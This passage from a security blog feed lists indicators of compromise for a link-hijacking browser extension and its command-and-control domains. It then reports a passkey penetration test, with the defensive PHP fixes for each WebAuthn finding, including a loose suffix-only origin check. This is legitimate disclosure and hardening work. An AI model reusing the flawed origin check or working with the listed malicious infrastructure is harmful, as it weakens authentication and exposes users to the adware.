we&apos;re typically looking out for traditional XSS attacks or supply chain compromise. The injection of this malicious JavaScript is happening entirely client-side, in the browser of the visitor, but we still have visibility of what&apos;s happening because of how our product works. For many products out there, this would be impossible to detect or monitor.</p><p>From our customers&apos; perspective, outbound links on their site are being silently hijacked and monetised by a third-party, without their knowledge or consent. Visitors are being redirected through affiliate networks, potentially to different destinations than intended. The C&amp;C architecture also means that the payload can be changed at any time to deliver anything from more aggressive adware, credential harvesting, a Magecart credit card skimmer, or just about anything that you could imagine. Whilst this doesn&apos;t represent a compromise of our customers&apos; website, or their supply chain, this still raises genuine concerns that need to be addressed.</p><p></p><h3 id="reporting-the-malicious-extensions">Reporting the malicious extensions</h3><p>This extension is available for both Chrome and Edge, and we have reported it to both browser vendors including evidence of the malicious behaviour. Given that it appears to have almost 100,000 users across both browsers, I hope they can move quickly to remove the extension from the stores and affected devices. This will benefit not only those visitors to our customers&apos; websites, but the wider ecosystem as a whole as we work to remove this malicious behaviour and protect all involved. </p><p>This capability aligns well with our goal of making the web safer for everyone, not just our customers, and is something that we have been working on for over a decade. My first blog post on detecting and blocking client-side compromise like this was in 2015(!), <a href="https://scotthelme.co.uk/combat-ad-injectors-with-csp/?ref=scotthelme.ghost.io" rel="noreferrer">Combat ad-injectors with CSP</a>, and in 2017 I followed that up with <a href="https://scotthelme.co.uk/combat-ad-injectors-with-csp/?ref=scotthelme.ghost.io" rel="noreferrer">Malware hunting with CSP</a>. Along the way, we have also detected and reported many browser extensions that introduced malicious behaviour, just as we have done here. When we come across more interesting cases like this one, I plan to start writing about them and sharing the details, primarily because I think these cases are genuinely interesting, but also because they help demonstrate some of our lesser-known capabilities at Report URI. </p><p></p><h3 id="indicators-of-compromise">Indicators of Compromise</h3><p>The key indicators are:</p><p>Chrome extension: <a href="https://chromewebstore.google.com/detail/amazing-auto-refresh/lgjmjfjpldlhbaeinfjbgokoakpjglbn?ref=scotthelme.ghost.io" rel="noreferrer">link</a><br>Edge extension: <a href="https://microsoftedge.microsoft.com/addons/detail/auto-refresh/kjkdocnbigcddlnghfiphgfflkooidhc?ref=scotthelme.ghost.io" rel="noreferrer">link</a><br>Extension name: <strong>Amazing Refresh</strong><br>Injected script host: <code>amazingrefresh.com</code> (domain registered 19th Feb 2026)<br>C&amp;C server: <code>api.amazingrefresh.com</code><br>Affiliate gateway: <code>advertisingshubb.com</code> (domain registered 3rd Oct 2025)<br>CDN: <code>1752680588.rsc.cdn77.org</code><br>Geo lookup: <code>meetlookup.com</code><br>Injected script element ID: <code>aar_main_script</code> <br>Google Ads Measurement ID: <code>G-11RPB8CJ47</code></p><p></p><p>If you want advanced threat detection and monitoring capabilities like this on your own site, you can head over to&#xA0;<a href="https://report-uri.com/?utm_source=scotthelme.co.uk">https://report-uri.com</a>&#xA0;and start a 30-day free trial. Our&#xA0;<a href="https://report-uri.com/solutions/javascript_integrity_monitoring?utm_source=scotthelme.co.uk">JavaScript Integrity Monitoring</a>&#xA0;solution shouldn&apos;t take more than 60 seconds to deploy and you can start gathering your first data.</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Bringing in the experts; Having our Passkeys implementation Security Tested]]></title>
                <description><![CDATA[<p>We recently announced support for Passkeys on your Report URI account, and everyone should go and enable Passkeys for the amazing security benefits they offer. As a new implementation of an authentication technology, we wanted to be sure that everything was as secure as it should be for our customer&</p>]]></description>
                <link>https://scotthelme.ghost.io/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/</link>
                <guid isPermaLink="false">69c7c509d57e1400017a6513</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Passkeys]]></category>
                <category><![CDATA[Penetration Test]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Thu, 02 Apr 2026 13:06:02 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-test-header.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-test-header.png" alt="Bringing in the experts; Having our Passkeys implementation Security Tested"><p>We recently announced support for Passkeys on your Report URI account, and everyone should go and enable Passkeys for the amazing security benefits they offer. As a new implementation of an authentication technology, we wanted to be sure that everything was as secure as it should be for our customer&apos;s accounts, so we brought in an external party to test our implementation.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-4.png" class="kg-image" alt="Bringing in the experts; Having our Passkeys implementation Security Tested" loading="lazy" width="974" height="141" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-4.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="our-annual-penetration-tests">Our annual penetration tests</h3><p>Regular readers will know that Report URI already has an annual penetration test and we now have <a href="https://scotthelme.co.uk/tag/penetration-test/?ref=scotthelme.ghost.io" rel="noreferrer">6 years worth of reports</a> publicly available for anyone to review and see what issues were found, and how we handled them. That annual review is there to make sure that our internal processes designed to keep our product secure are working and that nothing has slipped through. Our next penetration test is due in Nov/Dec 2026 to stick with our annual schedule, and whilst our application is constantly changing and evolving, Passkeys felt like a big enough change that it was worth getting it tested immediately as it touched our critical authentication flow. If you&apos;d like a brief introduction to Passkeys and how they work, you can refer to our launch blog post which has some high level details and diagrams.</p><p></p><figure class="kg-card kg-image-card"><a href="https://pentest.co.uk/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/pentest-limited-logo.png" class="kg-image" alt="Bringing in the experts; Having our Passkeys implementation Security Tested" loading="lazy" width="300" height="101"></a></figure><p></p><h3 id="engaging-with-pentest">Engaging with Pentest</h3><p>Normally, when we engage with our penetration testing company, <a href="https://pentest.co.uk/?ref=scotthelme.ghost.io" rel="noreferrer">Pentest Ltd.</a>, we have effectively no limitations on the scope of the test. This time it was a little different as we only wanted one specific part of our application testing and after discussions, we came up with the following scope:</p><p></p><pre><code>Perform a targeted external security assessment of the Report URI Passkey (WebAuthnbased 2FA) implementation.
    With the specific aim of assessing:
    &#x2022; Security of passkey enrolment and authentication flows
    &#x2022; Interaction between passkeys and existing authentication factors (password and
    TOTP)
    &#x2022; Potential authentication bypass and downgrade scenarios
    &#x2022; Protection of credential management functions (add/remove passkey)
    &#x2022; Security of recovery mechanisms (recovery codes and support-led reset process)
    &#x2022; Session handling and authentication state transitions
    &#x2022; Validation of WebAuthn integration controls (challenge handling, RP/origin
    enforcement, replay protections)
    </code></pre><p></p><p>We wanted to be really sure that our implementation was solid, and having someone external come in to test that felt like a worthwhile approach.</p><p></p><h3 id="the-findings">The findings</h3><p>For those who&apos;d like the TLDR; Pentest found a few problems with our implementation, but nothing that could result in unauthorised access. The worst case scenario in any of the findings was that you could add a Passkey to your account that you then couldn&apos;t remove. That&apos;s a pretty awesome result if you ask me &#x1F60E;</p><p>Alongside the findings from Pentest, we also did our own security testing and found a couple of minor bugs that we addressed too, but nothing that you&apos;d ever see on the outside. We&apos;ll start off by going through the Pentest findings and looking at the solutions that we&apos;ve implemented for them.</p><p></p><h4 id="empty-credential-id">Empty Credential ID</h4><p>Each Passkey generated by an Authenticator is given an ID that the Authenticator and the website can use to identify it. The specification says that this Credential ID, as it is known, should be &quot;A probabilistically-unique byte sequence identifying a public key credential source and its authentication assertions&quot;. Being able to set an empty ID value definitely doesn&apos;t meet that requirement, and adding a Passkey with no ID also made it impossible to then delete or rename that Passkey in your account because the ID is what we use to interact with it. </p><p>The W3C WebAuthn Level 3 spec <a href="https://www.w3.org/TR/webauthn-3/?ref=scotthelme.ghost.io#credential-id" rel="noreferrer">defines</a> credential ID length constraints, and whilst the spec is not final yet, we decided to target the new version rather than Level 2. </p><p></p><pre><code class="language-php">$credentialIdLen = strlen($data-&gt;credentialId);
    if ($credentialIdLen &lt; 16 || $credentialIdLen &gt; 1023) {
        $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE);
        $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE_TIME);
        return &apos;{&quot;ok&quot;: false, &quot;error&quot;: &quot;Invalid credential ID length.&quot;}&apos;;
    }</code></pre><p></p><p>With the length checks in place and further testing completed, this issue is now fully resolved and I&apos;m glad to say it didn&apos;t post any security risk.</p><p></p><h4 id="overlong-credential-id">Overlong Credential ID</h4><p>Whilst this issue is resolved by the fix above, there was one additional thing worth clarifying here that was specific to this finding. Without the upper bound on the Credential ID, you could register a Passkey with a huge ID value. The tester noted that if you were to do this, depending on the size of the ID value, you could get to a point where you couldn&apos;t register any more Passkeys, despite not having registered the maximum allowed amount of Passkeys. This behaviour was caused by our size limit on the amount of data allowed to be stored in a Property on a Table Storage Entity (we use Microsoft Azure Storage). Adding a new Passkey would have taken the Property over the allowed limit so our handling code did the right thing and rejected the change, failing the Passkey registration. The worst case scenario here is that if you registered a Passkey with a huge Credential ID, you may only be able to register a single Passkey on your account. This issue is resolved by the fix detailed above which also introduced an upper size limit and posed no security risk.</p><p></p><h4 id="duplicate-credential-id">Duplicate Credential ID</h4><p>Going back to the first issue, the spec states that a Credential ID should be &quot;A probabilistically-unique byte sequence&quot;, so allowing registration of duplicate IDs would not meet that requirement. There are also two separate concerns here, so we&apos;ll break them apart. </p><p>The first is that the user could register a Passkey on their account with the same Credential ID as another Passkey already registered on their account. The tester noted that this did not result in overwriting Passkeys (as we index on another value) but it did then leave them with two Passkeys registered with the same Credential ID. We already make use of the <code>excludeCredentials</code> feature, where our service provides back the IDs of the user&apos;s existing Credential IDs and the Authenticator can then avoid using duplicates. Of course, the authenticator may not do that, so an additional check is required on the way back in.</p><p></p><pre><code class="language-php">foreach ($passkeys as $passkey) {
        if ($passkey[&apos;id&apos;] === $credentialIdB64) {
    	    $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE);
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE_TIME);
            return &apos;{&quot;ok&quot;: false, &quot;error&quot;: &quot;This passkey is already registered.&quot;}&apos;;
        }
    }</code></pre><p></p><p>The second issue is that a user could register a Passkey with the same Credential ID as a Passkey that another user has registered. Because we&apos;re only using Passkeys as a form of 2FA, by the time we get to looking up a Credential ID, we&apos;re only looking at those bound to the correct user. The Credential IDs should also be &quot;probabilistically-unique&quot; so this is unlikely to ever happen by accident. The spec says that we SHOULD prevent this, not that we MUST, but querying over our entire user table and extracting Credential IDs adds a lot of overhead we&apos;d like to avoid. Reading the spec, I also feel that the concerns raised are more defensive techniques for if your application does things a bit wonky rather than being an actual problem, but drop your comments below if I&apos;m missing something. </p><p>As it stands, we haven&apos;t required that a Credential ID be globally unique across the service, but I&apos;m open to input, and happy to say that this issue also posed no security risk.</p><p></p><h4 id="origin-mismatch">Origin Mismatch</h4><p>This one is another bug that doesn&apos;t have an impact, but it still shouldn&apos;t be able to happen. The bug itself resides in the library we&apos;re using for Passkeys and we have up-streamed a fix which is the same as the patch that we&apos;re applying locally. </p><p></p><pre><code class="language-php">--- a/src/WebAuthn.php
    +++ b/src/WebAuthn.php
    @@ -636,9 +636,12 @@
             $host = \parse_url($origin, PHP_URL_HOST);
             $host = \trim($host, &apos;.&apos;);
    
    -        // The RP ID must be equal to the origin&apos;s effective domain, or a registrable
    -        // domain suffix of the origin&apos;s effective domain.
    -        return \preg_match(&apos;/&apos; . \preg_quote($this-&gt;_rpId) . &apos;$/i&apos;, $host) === 1;
    +        // The RP ID must be equal to the origin&apos;s effective domain, or the
    +        // origin&apos;s host must be a subdomain of the RP ID (i.e. preceded by a dot).
    +        if (\strcasecmp($host, $this-&gt;_rpId) === 0) {
    +            return true;
    +        }
    +        return \str_ends_with(\strtolower($host), &apos;.&apos; . \strtolower($this-&gt;_rpId));
         }
    
         /**</code></pre><p></p><p>The bug is that we&apos;re setting our <code>rpId</code> as <code>report-uri.com</code> and the library is checking that the host <em>ends with</em> <code>report-uri.com</code>, which is not a strict enough check. The issue with that is <code>not-report-uri.com</code> and <code>evil-report-uri.com</code> both <em>end with</em> <code>report-uri.com</code>. The check has been made more strict so that we&apos;re now looking first for an exact match to <code>report-uri.com</code>, or, we&apos;re checking that the host ends with <code>.report-uri.com</code>, having introduced the domain boundary <code>.</code> to make the check appropriate.</p><p>I&apos;ve done some pretty lengthy mental gymnastics to try and come up with a scenario where this might be exploitable, but I&apos;m struggling! Maybe if someone registered <code>not-report-uri.com</code> and lured a Report URI user there, managed to get the user to initiate a Passkey registration, and we had no CSRF protection on our registration endpoint, and we had no CORS protection on our registration endpoint, then maybe I can see a way for this to be used in an attack... In reality, I&apos;m happy to say that this has no security risk and it has been fixed as a matter of correctness rather than security.</p><p></p><h4 id="cross-origin-validation-failure">Cross-Origin Validation Failure</h4><p>Given the existing controls we have in place, this is a non-issue, but even without those existing controls, this is more of a spec compliance question than a risk. Imagine <code>evil-cyber-hacker.com</code> embeds <code>report-uri.com</code> in an iframe, the user could interact with that iframe and even register a Passkey on their account. In this scenario, the browser will pass <code>crossOrigin: true</code> in the <code>ClientDataJSON</code> to indicate that the registration was initiated inside a cross-origin iframe. Whilst this might sound like something really bad could happen, the Same-Origin Policy is going to give us all of the protection we need here. The attacker page can&apos;t read in to the iframe, it can&apos;t access any of the Passkey data and it can&apos;t conduct any actions on behalf of the user. It is true that if <code>crossOrigin: true</code> is set and you weren&apos;t expecting that, you should reject the process, so we&apos;ve patched to do just that and also up-streamed the change to the library to see if they&apos;d consider a patch there.</p><p></p><pre><code class="language-php">--- a/src/WebAuthn.php
    +++ b/src/WebAuthn.php
    @@ -358,6 +358,11 @@
                 throw new WebAuthnException(&apos;invalid origin&apos;, WebAuthnException::INVALID_ORIGIN);
             }
    
    +        // Reject cross-origin requests (proposed Level 3 spec &#xA7;7.1 Step 10).
    +        if (\property_exists($clientData, &apos;crossOrigin&apos;) &amp;&amp; $clientData-&gt;crossOrigin === true) {
    +            throw new WebAuthnException(&apos;cross-origin request not allowed&apos;, WebAuthnException::INVALID_ORIGIN);
    +        }
    +
             // Attestation
             $attestationObject = new Attestation\AttestationObject($attestationObject, $this-&gt;_formats);
    
    @@ -476,6 +481,11 @@
                 throw new WebAuthnException(&apos;invalid origin&apos;, WebAuthnException::INVALID_ORIGIN);
             }
    
    +        // Reject cross-origin requests (proposed Level 3 spec &#xA7;7.2 Step 13).
    +        if (\property_exists($clientData, &apos;crossOrigin&apos;) &amp;&amp; $clientData-&gt;crossOrigin === true) {
    +            throw new WebAuthnException(&apos;cross-origin request not allowed&apos;, WebAuthnException::INVALID_ORIGIN);
    +        }
    +
             // 11. Verify that the rpIdHash in authData is the SHA-256 hash of the RP ID expected by the Relying Party.
             if ($authenticatorObj-&gt;getRpIdHash() !== $this-&gt;_rpIdHash) {
                 throw new WebAuthnException(&apos;invalid rpId hash&apos;, WebAuthnException::INVALID_RELYING_PARTY);</code></pre><p></p><h4 id="user-handle-not-validated">User Handle Not Validated</h4><p>The <code>userHandle</code> in Passkeys is the internal user ID that the application can use to uniquely identify the user. This can be used when the user is trying to login without having provided a username or email first, so the application can find the user using this ID. We do have a unique <code>userId</code> value that we use to identify all users on the Report URI platform, and we were setting it in the Passkeys flow, but we didn&apos;t need to rely on it for anything. As our users will complete the email/password authentication step first, any Credential ID we were provided with could already be directly looked up on the correct <code>userId</code>. That said, the spec requires that if the authenticator provides a <code>userHandle</code> then the application must verify it, and we weren&apos;t verifying it because we didn&apos;t use it all. </p><p></p><pre><code class="language-php">$userHandleRaw = $postJson[&apos;userHandle&apos;] ?? &apos;&apos;;
    if ($userHandleRaw !== &apos;&apos;) {
        $userHandle = base64_decode($userHandleRaw, true);
        if ($userHandle === false || $userHandle === &apos;&apos;) {
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE);
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE_TIME);
            return &apos;{&quot;ok&quot;: false, &quot;error&quot;: &quot;User handle mismatch&quot;}&apos;;
        }
        $expectedUserHandle = hash(&apos;sha256&apos;, $this-&gt;userEntity-&gt;getUserId($userEntity), true);
        if (!hash_equals($expectedUserHandle, $userHandle)) {
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE);
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE_TIME);
            return &apos;{&quot;ok&quot;: false, &quot;error&quot;: &quot;User handle mismatch&quot;}&apos;;
        }
    }</code></pre><p></p><p>Now, if the <code>userHandle</code> value is set, we will verify that it is the correct one, and it&apos;s another issue chalked up with no security risk.</p><p></p><h4 id="invalid-attestation-statement">Invalid Attestation Statement</h4><p>In Passkeys, the phrase Attestation is referring to some kind of proof about what Authenticator device is being used. A company might use Attestation to limit staff to only be able to use a certain type or brand of Authenticator, like a YubiKey, for example. We have no such restrictions on what type of Authenticator can be used and permit the use of any Authenticator, including password managers. This means that we use <code>none</code> as our Attestation format and don&apos;t expect the client to send us any Attestation statements. What the spec strictly requires though is that we check that nothing was sent, and reject the process if something was sent. This required another patch to our library which just disregarded the Attestation Statement <code>attStmt</code> altogether, even if it had a value, because we do not use it for anything.</p><p></p><pre><code class="language-php">--- a/src/Attestation/Format/None.php
    +++ b/src/Attestation/Format/None.php
    @@ -24,7 +24,14 @@
         /**
          * @param string $clientDataHash
          */
         public function validateAttestation($clientDataHash) {
    +        // &#xA7;8.7 None Attestation Statement Format:
    +        // &quot;If attStmt is a properly formed attestation statement,
    +        //  verify that attStmt is an empty CBOR map.&quot;
    +        if (\count($this-&gt;_attestationObject[&apos;attStmt&apos;]) &gt; 0) {
    +            throw new WebAuthnException(&apos;invalid none attestation: attStmt must be empty&apos;, WebAuthnException::INVALID_DATA);
    +        }
    +
             return true;
         }
    </code></pre><p></p><p>With this patch, the library will now check that the <code>attStmt</code> is empty when the Attestation Format is <code>none</code>, which brings us in to alignment with the spec with no security risk.</p><p></p><h4 id="invalid-backup-flags">Invalid Backup Flags</h4><p>When a user is registering or using a Passkey, the Authenticator can tell us two things about how it handles backups of the Passkey. It can tell us:</p><p></p><ol><li>Backup Eligibility -  set if the credential is a multi-device credential, meaning it&apos;s designed to be synced across devices (e.g. an iCloud Keychain, Google Password Manager, 1Password, etc...)</li><li>Backup State - set if the credential is currently backed up, i.e. it has actually been synced to the cloud at the time of the ceremony.</li></ol><p></p><p>Looking at those two potential flags that can be set, you can then derive a set of valid states based on the relationship between them.</p><p></p><table>
    <thead>
    <tr>
    <th>BE</th>
    <th>BS</th>
    <th>Meaning</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>0</td>
    <td>0</td>
    <td>Not backup eligible, not backed up</td>
    </tr>
    <tr>
    <td>1</td>
    <td>0</td>
    <td>Backup eligible, not yet backed up</td>
    </tr>
    <tr>
    <td>1</td>
    <td>1</td>
    <td>Backup eligible, currently backed up</td>
    </tr>
    <tr>
    <td>0</td>
    <td>1</td>
    <td><strong>Invalid</strong> &#x2014; cannot be backed up without being eligible</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>The final row in that table indicates an invalid state because a Passkey can&apos;t have been backed up if the Passkey is not eligible to be backed up. The current specification does not require that we reject this, but the future version of the spec does. We will now check for this invalid state and have up-streamed a patch to the library.</p><p></p><pre><code class="language-php">diff --git a/src/Attestation/AuthenticatorData.php b/src/Attestation/AuthenticatorData.php
    index 83462b1..a73d195 100644
    --- a/src/Attestation/AuthenticatorData.php
    +++ b/src/Attestation/AuthenticatorData.php
    @@ -281,6 +281,12 @@ class AuthenticatorData {
             $flags-&gt;isBackup = $flags-&gt;bit_4;
             $flags-&gt;attestedDataIncluded = $flags-&gt;bit_6;
             $flags-&gt;extensionDataIncluded = $flags-&gt;bit_7;
    +
    +        // Backup State (BS) requires Backup Eligible (BE) per spec.
    +        if ($flags-&gt;isBackup &amp;&amp; !$flags-&gt;isBackupEligible) {
    +            throw new WebAuthnException(&apos;invalid backup flags: BS without BE&apos;, WebAuthnException::INVALID_DATA);
    +        }
    +
             return $flags;
         }
     </code></pre><p></p><p>This issue also present no security risk and is now resolved.</p><p></p><h4 id="token-binding-accepted">Token Binding Accepted</h4><p><a href="https://en.wikipedia.org/wiki/Token_Binding?ref=scotthelme.ghost.io" rel="noreferrer">Token Binding</a> is a fairly old technology that is now deprecated, Chrome <a href="https://issues.chromium.org/issues/40589745?ref=scotthelme.ghost.io" rel="noreferrer">removed their code</a> for it in 2018. A client can indicate it was using Token Binding in a Passkey ceremony by setting the <code>tokenBinding.status</code> value to <code>present</code>. Given that our application does not support Token Binding, and most other applications probably don&apos;t either, along with clients having deprecated it, this shouldn&apos;t really be possible. Our application would allow a client to indicate it was using Token Binding, even though it can&apos;t, and we would ignore these values as we don&apos;t use it. The spec does not allow you to ignore these values, so we had to handle them. We&apos;re now correctly validating these fields if they are present and we have up-streamed a patch.</p><p></p><pre><code class="language-php">diff --git a/src/WebAuthn.php b/src/WebAuthn.php
    index d6b78e7..f81882f 100644
    --- a/src/WebAuthn.php
    +++ b/src/WebAuthn.php
    @@ -362,6 +362,12 @@ class WebAuthn {
                 throw new WebAuthnException(&apos;cross-origin request not allowed&apos;, WebAuthnException::INVALID_ORIGIN);
             }
     
    +        // 6. Verify tokenBinding status matches the TLS connection. We do not
    +        //    support Token Binding, so reject status &quot;present&quot; (Level 2 &#xA7;7.1 Step 6).
    +        if (\property_exists($clientData, &apos;tokenBinding&apos;) &amp;&amp; \is_object($clientData-&gt;tokenBinding) &amp;&amp; \property_exists($clientData-&gt;tokenBinding, &apos;status&apos;) &amp;&amp; $clientData-&gt;tokenBinding-&gt;status === &apos;present&apos;) {
    +            throw new WebAuthnException(&apos;token binding not supported&apos;, WebAuthnException::INVALID_DATA);
    +        }
    +
             // Attestation
             $attestationObject = new Attestation\AttestationObject($attestationObject, $this-&gt;_formats);
     
    @@ -485,6 +491,12 @@ class WebAuthn {
                 throw new WebAuthnException(&apos;cross-origin request not allowed&apos;, WebAuthnException::INVALID_ORIGIN);
             }
     
    +        // 10. Verify tokenBinding status matches the TLS connection. We do not
    +        //     support Token Binding, so reject status &quot;present&quot; (Level 2 &#xA7;7.2 Step 10).
    +        if (\property_exists($clientData, &apos;tokenBinding&apos;) &amp;&amp; \is_object($clientData-&gt;tokenBinding) &amp;&amp; \property_exists($clientData-&gt;tokenBinding, &apos;status&apos;) &amp;&amp; $clientData-&gt;tokenBinding-&gt;status === &apos;present&apos;) {
    +            throw new WebAuthnException(&apos;token binding not supported&apos;, WebAuthnException::INVALID_DATA);
    +        }
    +
             // 11. Verify that the rpIdHash in authData is the SHA-256 hash of the RP ID expected by the Relying Party.
             if ($authenticatorObj-&gt;getRpIdHash() !== $this-&gt;_rpIdHash) {
                 throw new WebAuthnException(&apos;invalid rpId hash&apos;, WebAuthnException::INVALID_RELYING_PARTY);</code></pre><p></p><p>This was the last of the issues found in the penetration test and I&apos;m happy to say that this one also presented no security risk and is resolved.</p><p></p><h4 id="were-good-to-go">We&apos;re good to go! </h4><p>When making such a big change to how users log in to our service, it makes me feel a lot more comfortable that we&apos;ve had it thoroughly reviewed by an external party. Whilst there were some issues found here, I&apos;m happy that none of them presented any real risk to our customers, and they&apos;ve all been fixed anyway. As always, we&apos;ve published the full report for our penetration test below so you can take a look at the unredacted findings!</p><p><a href="https://cdn.report-uri.com/pdf/Report%20URI%20-%202026%20Passkeys%20Penetration%20Test%20Report.pdf?ref=scotthelme.ghost.io" rel="noreferrer">Download Full Report</a></p><p></p><p></p>
    <!--kg-card-begin: html-->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css" integrity="sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup.min.js" integrity="sha512-Ei5Vokmnc/f7vIt31aodVMuavT/xp2Lt5vGDYLgCzgBX/z5ghbZQfxt/9FkNs+RyG8IfBKAkdRsQQk4PZyHq5g==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup-templating.min.js" integrity="sha512-+8BiRfWso6waiFDv6tEmWF8yfPGgxAtOYLDUB0rRISLwtpxkJ9lpPNUhxwWlikn3qSO+4RQyzDppi62o3ON/AA==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-php.min.js" integrity="sha512-plzrTi61ltEMFf84gTVO9IkvIMfBu07bnDuahvdlIclmFWzXJ9VcRsny9d45sxFZRv3jJg/MHNyuxnUYEMxMEg==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <style>
      pre[class*="language-"] {
          font-size: 0.75em;
      }
    </style>
    <!--kg-card-end: html-->
    ]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Launching Passkeys support on Report URI! 🗝️]]></title>
                <description><![CDATA[<p>As we&apos;re always wanting to keep ahead in the security game, I&apos;m happy to announce that we now support Passkeys on <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>! Let&apos;s take a quick look at what Passkeys are, why you should use them, and how we&apos;ve implemented them.</p>]]></description>
                <link>https://scotthelme.ghost.io/launching-passkeys-support-on-report-uri/</link>
                <guid isPermaLink="false">69b2e9d974ea740001185409</guid>
                <category><![CDATA[Passkeys]]></category>
                <category><![CDATA[Report URI]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 30 Mar 2026 10:10:05 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-header.jpg" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-header.jpg" alt="Launching Passkeys support on Report URI! &#x1F5DD;&#xFE0F;"><p>As we&apos;re always wanting to keep ahead in the security game, I&apos;m happy to announce that we now support Passkeys on <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>! Let&apos;s take a quick look at what Passkeys are, why you should use them, and how we&apos;ve implemented them.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-1.png" class="kg-image" alt="Launching Passkeys support on Report URI! &#x1F5DD;&#xFE0F;" loading="lazy" width="974" height="141" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-1.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="passkeys-solve-a-big-problem">Passkeys solve a big problem</h4><p>Let&apos;s kick things off by stating the biggest benefit of Passkeys which is that they are <strong><em>phishing-resistant</em></strong>! That&apos;s right, if you&apos;re using Passkeys to protect your account, you no longer have to worry about falling victim to a phishing attack. This was the primary driver for us to add support at Report URI, to provide our customers with a strong authentication mechanism that will give them confidence they are protected against the pervasive threat of phishing attacks. On top of this tremendous benefit, I feel that they&apos;re also much more convenient to use too! </p><p></p><h4 id="how-do-passkeys-work">How do Passkeys work?</h4><p>Instead of relying on a secret piece of information like a password, Passkeys work by relying on cryptography and are surprisingly simple under the hood. Your device will create a cryptographic key pair that will be used for authentication when you need to login to the website. The registration process for a Passkey looks like this:</p><p></p><pre><code>
     User               Browser / OS              Website / Server            
     |                      |                           |
     | 1. &quot;Create Passkey&quot;  |                           |
     |---------------------&gt;|                           |
     |                      | 2. Request registration   |
     |                      |--------------------------&gt;|
     |                      |                           |
     |                      | 3. Send challenge         |
     |                      |&lt;--------------------------|
     |                      |                           | 
     |                      | 4. Create new key pair    |
     |                      |    - save private key     |
     |                      |      on device            | 
     |                      |                           |
     |                      | 5. Send public key + attestation
     |                      |--------------------------&gt;|
     |                      |                           | 7. Store public key
     |                      |                           |    with user account
     |                      | 8. Registration complete  |
     |                      |&lt;--------------------------|
     | 9. &quot;Registration Complete&quot;                       |
     |&lt;---------------------|                           |
